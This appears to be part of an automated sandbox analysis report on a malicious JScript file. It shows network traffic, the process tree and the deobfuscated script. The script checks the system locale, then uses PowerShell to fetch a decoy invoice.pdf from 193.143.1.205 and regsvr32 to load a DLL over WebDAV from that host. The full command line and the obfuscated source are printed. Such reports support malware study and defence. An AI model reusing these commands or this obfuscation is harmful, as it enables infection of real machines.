Jan 11, 2025 03:32:09.857156992 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:32:09.857168913 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 03:32:09.857177973 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:32:09.857189894 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:32:09.857203007 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 03:32:09.862070084 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6580	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:32:11.418042898 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:32:12.233328104 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:32:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js"
Imagebase:	0x7ff601f90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Imagebase:	0x7ff67bdd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:32:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:32:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67bdd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:32:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66b530000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:32:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:32:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:32:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1548,i,6924029694045850137,14892163335497292291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tscbsnx() {	tscbsnx() ➔ undefined
1	rfglvatjt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wfpfcbzn = this[agdmaoo + cboidyzlm + qhagosdms + khyxnuv + mnlxwcim + ehwcjjdul + ykozqupnc + oegnygku] ( this[wcyhazd + somdxopjb + lzmjugn + qhagosdms + fhaqvwy + agdmaoo + oegnygku][gdemysd + qhagosdms + mnlxwcim + cboidyzlm + oegnygku + mnlxwcim + ghqwquhs + mmswoqelm + cpajn + mnlxwcim + lzmjugn + oegnygku] ( wcyhazd + somdxopjb + lzmjugn + qhagosdms + fhaqvwy + agdmaoo + oegnygku + ciutnvto + somdxopjb + gazqw + mnlxwcim + kygfnl + kygfnl ) [wnxoldl + mnlxwcim + inonwe + wnxoldl + mnlxwcim + cboidyzlm + faxbasr] ( jjoaqjcpv + tveereja + ukesdzgps + wpzeonlr + cuuifmusd + gdemysd + avuky + wnxoldl + wnxoldl + ukesdzgps + irvghav + bajxum + cuuifmusd + avuky + somdxopjb + ukesdzgps + wnxoldl + dlczhj + gdemysd + frsdsy + ykozqupnc + oegnygku + qhagosdms + frsdsy + kygfnl + ajbacf + jdulhauyy + cboidyzlm + ykozqupnc + mnlxwcim + kygfnl + dlczhj + ehwcjjdul + ykozqupnc + oegnygku + mnlxwcim + qhagosdms + ykozqupnc + cboidyzlm + oegnygku + fhaqvwy + frsdsy + ykozqupnc + cboidyzlm + kygfnl + dlczhj + uiubtldj + frsdsy + lzmjugn + cboidyzlm + kygfnl + mnlxwcim ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jjrjiorg = 0 ; jjrjiorg < rfglvatjt[kygfnl + mnlxwcim + ykozqupnc + inonwe + oegnygku + gazqw] ; ++ jjrjiorg )
4	{
5	if ( wfpfcbzn == rfglvatjt[jjrjiorg] )
6	{
7	wfpfcbzn = true;
8	break ;
9	}
10	}
11	if ( wfpfcbzn !== true )
12	this[wcyhazd + somdxopjb + lzmjugn + qhagosdms + fhaqvwy + agdmaoo + oegnygku][igkrhkxld + efidwdiet + fhaqvwy + oegnygku] ( );
13	this[wcyhazd + somdxopjb + lzmjugn + qhagosdms + fhaqvwy + agdmaoo + oegnygku][gdemysd + qhagosdms + mnlxwcim + cboidyzlm + oegnygku + mnlxwcim + ghqwquhs + mmswoqelm + cpajn + mnlxwcim + lzmjugn + oegnygku] ( wcyhazd + somdxopjb + lzmjugn + qhagosdms + fhaqvwy + agdmaoo + oegnygku + ciutnvto + somdxopjb + gazqw + mnlxwcim + kygfnl + kygfnl ) [qhagosdms + efidwdiet + ykozqupnc] ( lzmjugn + xonoisi + faxbasr + ajbacf + laczzgq + lzmjugn + ajbacf + agdmaoo + frsdsy + iwgxx + mnlxwcim + qhagosdms + khyxnuv + gazqw + mnlxwcim + kygfnl + kygfnl + ciutnvto + mnlxwcim + hicwfw + mnlxwcim + ajbacf + kmwbn + gdemysd + frsdsy + xonoisi + xonoisi + cboidyzlm + ykozqupnc + faxbasr + ajbacf + hnbcockh + ehwcjjdul + ykozqupnc + mqomu + frsdsy + gieugghxj + mnlxwcim + kmwbn + wcyhazd + mnlxwcim + mmswoqelm + wnxoldl + mnlxwcim + yqiljqr + efidwdiet + mnlxwcim + khyxnuv + oegnygku + ajbacf + kmwbn + ghqwquhs + efidwdiet + oegnygku + eixict + fhaqvwy + kygfnl + mnlxwcim + ajbacf + wfktmjccd + oegnygku + mnlxwcim + xonoisi + agdmaoo + wfktmjccd + dlczhj + fhaqvwy + ykozqupnc + mqomu + frsdsy + fhaqvwy + lzmjugn + mnlxwcim + ciutnvto + agdmaoo + faxbasr + nlbgdlwj + ajbacf + gazqw + oegnygku + oegnygku + agdmaoo + aoinnmzp + laczzgq + laczzgq + rfuzd + txriowwd + qqnfbizk + ciutnvto + rfuzd + svcnxcc + qqnfbizk + ciutnvto + rfuzd + ciutnvto + dfenbhvyn + kenlkmcep + uzcuit + laczzgq + fhaqvwy + ykozqupnc + mqomu + frsdsy + fhaqvwy + lzmjugn + mnlxwcim + ciutnvto + agdmaoo + gazqw + agdmaoo + hnbcockh + txqaweah + txqaweah + khyxnuv + oegnygku + cboidyzlm + qhagosdms + oegnygku + ajbacf + wfktmjccd + oegnygku + mnlxwcim + xonoisi + agdmaoo + wfktmjccd + dlczhj + fhaqvwy + ykozqupnc + mqomu + frsdsy + fhaqvwy + lzmjugn + mnlxwcim + ciutnvto + agdmaoo + faxbasr + nlbgdlwj + txqaweah + txqaweah + lzmjugn + xonoisi + faxbasr + ajbacf + laczzgq + lzmjugn + ajbacf + ykozqupnc + mnlxwcim + oegnygku + ajbacf + efidwdiet + khyxnuv + mnlxwcim + ajbacf + dlczhj + dlczhj + rfuzd + txriowwd + qqnfbizk + ciutnvto + rfuzd + svcnxcc + qqnfbizk + ciutnvto + rfuzd + ciutnvto + dfenbhvyn + kenlkmcep + uzcuit + rctdp + hbveunycj + hbveunycj + hbveunycj + hbveunycj + dlczhj + faxbasr + cboidyzlm + mqomu + iwgxx + iwgxx + iwgxx + qhagosdms + frsdsy + frsdsy + oegnygku + dlczhj + txqaweah + txqaweah + lzmjugn + xonoisi + faxbasr + ajbacf + laczzgq + lzmjugn + ajbacf + qhagosdms + mnlxwcim + inonwe + khyxnuv + mqomu + qhagosdms + qqnfbizk + dfenbhvyn + ajbacf + laczzgq + khyxnuv + ajbacf + dlczhj + dlczhj + rfuzd + txriowwd + qqnfbizk + ciutnvto + rfuzd + svcnxcc + qqnfbizk + ciutnvto + rfuzd + ciutnvto + dfenbhvyn + kenlkmcep + uzcuit + rctdp + hbveunycj + hbveunycj + hbveunycj + hbveunycj + dlczhj + faxbasr + cboidyzlm + mqomu + iwgxx + iwgxx + iwgxx + qhagosdms + frsdsy + frsdsy + oegnygku + dlczhj + rfuzd + wgahsqs + kenlkmcep + txriowwd + dfenbhvyn + dfenbhvyn + dfenbhvyn + qqnfbizk + qqnfbizk + dfenbhvyn + hbveunycj + txriowwd + svcnxcc + ciutnvto + faxbasr + kygfnl + kygfnl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll",0,false) ➔ 0
14	}
15	fhaqvwy = "W";
16	fhaqvwy = "i";
17	fhaqvwy = "M";
18	fhaqvwy = "t";
19	fhaqvwy = "p";
20	fhaqvwy = "a";
21	fhaqvwy = "E";
22	fhaqvwy = "G";
23	fhaqvwy = "V";
24	fhaqvwy = "s";
25	fhaqvwy = "x";
26	fhaqvwy = "S";
27	fhaqvwy = "Y";
28	fhaqvwy = "O";
29	fhaqvwy = "t";
30	fhaqvwy = "i";
31	fhaqvwy = "P";
32	fhaqvwy = "o";
33	fhaqvwy = "i";
34	efidwdiet = "Q";
35	efidwdiet = "b";
36	efidwdiet = "Z";
37	efidwdiet = "N";
38	efidwdiet = "i";
39	efidwdiet = "n";
40	efidwdiet = "G";
41	efidwdiet = "W";
42	efidwdiet = "n";
43	efidwdiet = "Q";
44	efidwdiet = "k";
45	efidwdiet = "v";
46	efidwdiet = "n";
47	efidwdiet = "m";
48	efidwdiet = "N";
49	efidwdiet = "Q";
50	efidwdiet = "G";
51	efidwdiet = "M";
52	efidwdiet = "h";
53	efidwdiet = "J";
54	efidwdiet = "k";
55	efidwdiet = "T";
56	efidwdiet = "F";
57	efidwdiet = "u";
58	ukesdzgps = "E";
59	ukesdzgps = "x";
60	ukesdzgps = "L";
61	ukesdzgps = "E";
62	ukesdzgps = "y";
63	ukesdzgps = "a";
64	ukesdzgps = "v";
65	ukesdzgps = "A";
66	ukesdzgps = "o";
67	ukesdzgps = "J";
68	ukesdzgps = "H";
69	ukesdzgps = "C";
70	ukesdzgps = "Y";
71	ukesdzgps = "c";
72	ukesdzgps = "b";
73	ukesdzgps = "t";
74	ukesdzgps = "v";
75	ukesdzgps = "E";
76	wcyhazd = "I";
77	wcyhazd = "K";
78	wcyhazd = "n";
79	wcyhazd = "x";
80	wcyhazd = "J";
81	wcyhazd = "l";
82	wcyhazd = "I";
83	wcyhazd = "v";
84	wcyhazd = "D";
85	wcyhazd = "r";
86	wcyhazd = "W";
87	igkrhkxld = "E";
88	igkrhkxld = "E";
89	igkrhkxld = "N";
90	igkrhkxld = "V";
91	igkrhkxld = "e";
92	igkrhkxld = "L";
93	igkrhkxld = "Y";
94	igkrhkxld = "A";
95	igkrhkxld = "B";
96	igkrhkxld = "N";
97	igkrhkxld = "g";
98	igkrhkxld = "K";
99	igkrhkxld = "U";
100	igkrhkxld = "v";
101	igkrhkxld = "N";
102	igkrhkxld = "c";
103	igkrhkxld = "W";
104	igkrhkxld = "M";
105	igkrhkxld = "j";
106	igkrhkxld = "m";
107	igkrhkxld = "w";
108	igkrhkxld = "i";
109	igkrhkxld = "G";
110	igkrhkxld = "z";
111	igkrhkxld = "v";
112	igkrhkxld = "l";
113	igkrhkxld = "F";
114	igkrhkxld = "r";
115	igkrhkxld = "O";
116	igkrhkxld = "k";
117	igkrhkxld = "p";
118	igkrhkxld = "T";
119	igkrhkxld = "S";
120	igkrhkxld = "W";
121	igkrhkxld = "p";
122	igkrhkxld = "Q";
123	iwgxx = "Y";
124	iwgxx = "r";
125	iwgxx = "v";
126	iwgxx = "J";
127	iwgxx = "Q";
128	iwgxx = "x";
129	iwgxx = "R";
130	iwgxx = "w";
131	iwgxx = "j";
132	iwgxx = "v";
133	iwgxx = "Z";
134	iwgxx = "K";
135	iwgxx = "g";
136	iwgxx = "C";
137	iwgxx = "G";
138	iwgxx = "k";
139	iwgxx = "k";
140	iwgxx = "W";
141	iwgxx = "s";
142	iwgxx = "V";
143	iwgxx = "r";
144	iwgxx = "B";
145	iwgxx = "c";
146	iwgxx = "K";
147	iwgxx = "p";
148	iwgxx = "m";
149	iwgxx = "C";
150	iwgxx = "Q";
151	iwgxx = "h";
152	iwgxx = "y";
153	iwgxx = "s";
154	iwgxx = "R";
155	iwgxx = "A";
156	iwgxx = "S";
157	iwgxx = "m";
158	iwgxx = "z";
159	iwgxx = "S";
160	iwgxx = "g";
161	iwgxx = "w";
162	iwgxx = "a";
163	iwgxx = "l";
164	iwgxx = "q";
165	iwgxx = "X";
166	iwgxx = "w";
167	ykozqupnc = "w";
168	ykozqupnc = "m";
169	ykozqupnc = "K";
170	ykozqupnc = "n";
171	ykozqupnc = "u";
172	ykozqupnc = "w";
173	ykozqupnc = "U";
174	ykozqupnc = "p";
175	ykozqupnc = "T";
176	ykozqupnc = "X";
177	ykozqupnc = "Y";
178	ykozqupnc = "V";
179	ykozqupnc = "O";
180	ykozqupnc = "s";
181	ykozqupnc = "c";
182	ykozqupnc = "w";
183	ykozqupnc = "p";
184	ykozqupnc = "n";
185	qhagosdms = "k";
186	qhagosdms = "i";
187	qhagosdms = "R";
188	qhagosdms = "x";
189	qhagosdms = "E";
190	qhagosdms = "r";
191	jjoaqjcpv = "h";
192	jjoaqjcpv = "B";
193	jjoaqjcpv = "U";
194	jjoaqjcpv = "C";
195	jjoaqjcpv = "e";
196	jjoaqjcpv = "f";
197	jjoaqjcpv = "l";
198	jjoaqjcpv = "b";
199	jjoaqjcpv = "Z";
200	jjoaqjcpv = "T";
201	jjoaqjcpv = "s";
202	jjoaqjcpv = "h";
203	jjoaqjcpv = "R";
204	jjoaqjcpv = "i";
205	jjoaqjcpv = "a";
206	jjoaqjcpv = "o";
207	jjoaqjcpv = "h";
208	jjoaqjcpv = "k";
209	jjoaqjcpv = "k";
210	jjoaqjcpv = "H";
211	gieugghxj = "a";
212	gieugghxj = "I";
213	gieugghxj = "m";
214	gieugghxj = "L";
215	gieugghxj = "C";
216	gieugghxj = "l";
217	gieugghxj = "A";
218	gieugghxj = "I";
219	gieugghxj = "g";
220	gieugghxj = "y";
221	gieugghxj = "U";
222	gieugghxj = "O";
223	gieugghxj = "T";
224	gieugghxj = "q";
225	gieugghxj = "D";
226	gieugghxj = "q";
227	gieugghxj = "x";
228	gieugghxj = "D";
229	gieugghxj = "s";
230	gieugghxj = "S";
231	gieugghxj = "x";
232	gieugghxj = "o";
233	gieugghxj = "P";
234	gieugghxj = "x";
235	gieugghxj = "t";
236	gieugghxj = "y";
237	gieugghxj = "I";
238	gieugghxj = "J";
239	gieugghxj = "t";
240	gieugghxj = "w";
241	gieugghxj = "t";
242	gieugghxj = "Z";
243	gieugghxj = "u";
244	gieugghxj = "b";
245	gieugghxj = "k";
246	oegnygku = "k";
247	oegnygku = "D";
248	oegnygku = "o";
249	oegnygku = "w";
250	oegnygku = "O";
251	oegnygku = "z";
252	oegnygku = "l";
253	oegnygku = "H";
254	oegnygku = "K";
255	oegnygku = "R";
256	oegnygku = "j";
257	oegnygku = "R";
258	oegnygku = "M";
259	oegnygku = "j";
260	oegnygku = "y";
261	oegnygku = "m";
262	oegnygku = "X";
263	oegnygku = "o";
264	oegnygku = "T";
265	oegnygku = "o";
266	oegnygku = "V";
267	oegnygku = "f";
268	oegnygku = "r";
269	oegnygku = "C";
270	oegnygku = "w";
271	oegnygku = "Y";
272	oegnygku = "c";
273	oegnygku = "G";
274	oegnygku = "x";
275	oegnygku = "f";
276	oegnygku = "j";
277	oegnygku = "A";
278	oegnygku = "t";
279	tveereja = "p";
280	tveereja = "a";
281	tveereja = "a";
282	tveereja = "p";
283	tveereja = "o";
284	tveereja = "V";
285	tveereja = "x";
286	tveereja = "B";
287	tveereja = "T";
288	tveereja = "h";
289	tveereja = "c";
290	tveereja = "M";
291	tveereja = "O";
292	tveereja = "A";
293	tveereja = "Q";
294	tveereja = "B";
295	tveereja = "w";
296	tveereja = "k";
297	tveereja = "z";
298	tveereja = "U";
299	tveereja = "E";
300	tveereja = "p";
301	tveereja = "F";
302	tveereja = "y";
303	tveereja = "Q";
304	tveereja = "b";
305	tveereja = "T";
306	tveereja = "W";
307	tveereja = "k";
308	tveereja = "f";
309	tveereja = "M";
310	tveereja = "t";
311	tveereja = "V";
312	tveereja = "E";
313	tveereja = "Y";
314	tveereja = "N";
315	tveereja = "K";
316	wgahsqs = "h";
317	wgahsqs = "L";
318	wgahsqs = "J";
319	wgahsqs = "r";
320	wgahsqs = "g";
321	wgahsqs = "Y";
322	wgahsqs = "g";
323	wgahsqs = "O";
324	wgahsqs = "e";
325	wgahsqs = "h";
326	wgahsqs = "X";
327	wgahsqs = "B";
328	wgahsqs = "X";
329	wgahsqs = "Z";
330	wgahsqs = "K";
331	wgahsqs = "P";
332	wgahsqs = "H";
333	wgahsqs = "x";
334	wgahsqs = "d";
335	wgahsqs = "W";
336	wgahsqs = "G";
337	wgahsqs = "6";
338	txqaweah = "e";
339	txqaweah = "O";
340	txqaweah = "f";
341	txqaweah = "g";
342	txqaweah = "x";
343	txqaweah = "I";
344	txqaweah = "B";
345	txqaweah = "Y";
346	txqaweah = "n";
347	txqaweah = "z";
348	txqaweah = "v";
349	txqaweah = "O";
350	txqaweah = "D";
351	txqaweah = "C";
352	txqaweah = "a";
353	txqaweah = "X";
354	txqaweah = "W";
355	txqaweah = "a";
356	txqaweah = "j";
357	txqaweah = "W";
358	txqaweah = "Z";
359	txqaweah = "e";
360	txqaweah = "d";
361	txqaweah = "p";
362	txqaweah = "K";
363	txqaweah = "e";
364	txqaweah = "V";
365	txqaweah = "&";
366	faxbasr = "Z";
367	faxbasr = "B";
368	faxbasr = "D";
369	faxbasr = "f";
370	faxbasr = "S";
371	faxbasr = "U";
372	faxbasr = "l";
373	faxbasr = "v";
374	faxbasr = "u";
375	faxbasr = "P";
376	faxbasr = "n";
377	faxbasr = "J";
378	faxbasr = "J";
379	faxbasr = "e";
380	faxbasr = "P";
381	faxbasr = "H";
382	faxbasr = "r";
383	faxbasr = "o";
384	faxbasr = "T";
385	faxbasr = "J";
386	faxbasr = "J";
387	faxbasr = "z";
388	faxbasr = "k";
389	faxbasr = "E";
390	faxbasr = "g";
391	faxbasr = "e";
392	faxbasr = "P";
393	faxbasr = "H";
394	faxbasr = "P";
395	faxbasr = "i";
396	faxbasr = "R";
397	faxbasr = "F";
398	faxbasr = "f";
399	faxbasr = "z";
400	faxbasr = "C";
401	faxbasr = "V";
402	faxbasr = "U";
403	faxbasr = "m";
404	faxbasr = "d";
405	hicwfw = "O";
406	hicwfw = "t";
407	hicwfw = "b";
408	hicwfw = "e";
409	hicwfw = "D";
410	hicwfw = "S";
411	hicwfw = "s";
412	hicwfw = "V";
413	hicwfw = "s";
414	hicwfw = "e";
415	hicwfw = "N";
416	hicwfw = "i";
417	hicwfw = "m";
418	hicwfw = "A";
419	hicwfw = "H";
420	hicwfw = "p";
421	hicwfw = "q";
422	hicwfw = "S";
423	hicwfw = "u";
424	hicwfw = "f";
425	hicwfw = "u";
426	hicwfw = "H";
427	hicwfw = "x";
428	hicwfw = "e";
429	hicwfw = "O";
430	hicwfw = "f";
431	hicwfw = "F";
432	hicwfw = "u";
433	hicwfw = "F";
434	hicwfw = "R";
435	hicwfw = "f";
436	hicwfw = "p";
437	hicwfw = "q";
438	hicwfw = "v";
439	hicwfw = "i";
440	hicwfw = "W";
441	hicwfw = "a";
442	hicwfw = "w";
443	hicwfw = "E";
444	hicwfw = "x";
445	frsdsy = "s";
446	frsdsy = "i";
447	frsdsy = "u";
448	frsdsy = "w";
449	frsdsy = "q";
450	frsdsy = "z";
451	frsdsy = "S";
452	frsdsy = "D";
453	frsdsy = "a";
454	frsdsy = "z";
455	frsdsy = "j";
456	frsdsy = "Y";
457	frsdsy = "n";
458	frsdsy = "k";
459	frsdsy = "a";
460	frsdsy = "d";
461	frsdsy = "m";
462	frsdsy = "r";
463	frsdsy = "s";
464	frsdsy = "q";
465	frsdsy = "U";
466	frsdsy = "c";
467	frsdsy = "o";
468	yqiljqr = "y";
469	yqiljqr = "N";
470	yqiljqr = "o";
471	yqiljqr = "O";
472	yqiljqr = "K";
473	yqiljqr = "R";
474	yqiljqr = "K";
475	yqiljqr = "K";
476	yqiljqr = "y";
477	yqiljqr = "M";
478	yqiljqr = "J";
479	yqiljqr = "c";
480	yqiljqr = "f";
481	yqiljqr = "v";
482	yqiljqr = "a";
483	yqiljqr = "f";
484	yqiljqr = "r";
485	yqiljqr = "C";
486	yqiljqr = "z";
487	yqiljqr = "r";
488	yqiljqr = "G";
489	yqiljqr = "r";
490	yqiljqr = "h";
491	yqiljqr = "V";
492	yqiljqr = "h";
493	yqiljqr = "q";
494	yqiljqr = "l";
495	yqiljqr = "f";
496	yqiljqr = "a";
497	yqiljqr = "H";
498	yqiljqr = "r";
499	yqiljqr = "v";
500	yqiljqr = "E";
501	yqiljqr = "W";
502	yqiljqr = "k";
503	yqiljqr = "q";
504	cuuifmusd = "b";
505	cuuifmusd = "B";
506	cuuifmusd = "J";
507	cuuifmusd = "p";
508	cuuifmusd = "z";
509	cuuifmusd = "W";
510	cuuifmusd = "p";
511	cuuifmusd = "F";
